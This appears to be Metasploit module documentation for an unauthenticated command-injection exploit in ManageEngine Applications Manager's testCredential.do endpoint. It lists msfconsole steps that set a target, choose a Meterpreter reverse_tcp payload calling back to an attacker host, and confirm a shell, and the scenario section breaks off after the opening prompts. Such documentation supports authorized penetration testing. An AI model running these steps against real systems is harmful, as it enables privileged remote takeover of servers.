An unauthenticated user can execute a operating system command under the context of privileged user. Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials by accessing given system. This endpoint calls a several internal classes and then executes powershell script without validating user supplied parameter when the given system is OfficeSharePointServer.

Verification Steps

A successful check of the exploit will look like this:

• Start msfconsole

• use exploit/windows/http/manageengine_appmanager_exec

• Set RHOST <RHOST>

• Set PAYLOAD windows/meterpreter/reverse_tcp

• Set LHOST <LHOST>

• Run check

• Verify that you are seeing The target is vulnerable. in console.

• Run exploit

• Verify that you are seeing Triggering the vulnerability in console.

• Verify that you are seeing Sending stage to <TARGET> in console.

• Verify that you have your shell.

Scenarios

msf5 > 
msf5 > use exploit/windows/http/manageengine_appmanager_exec
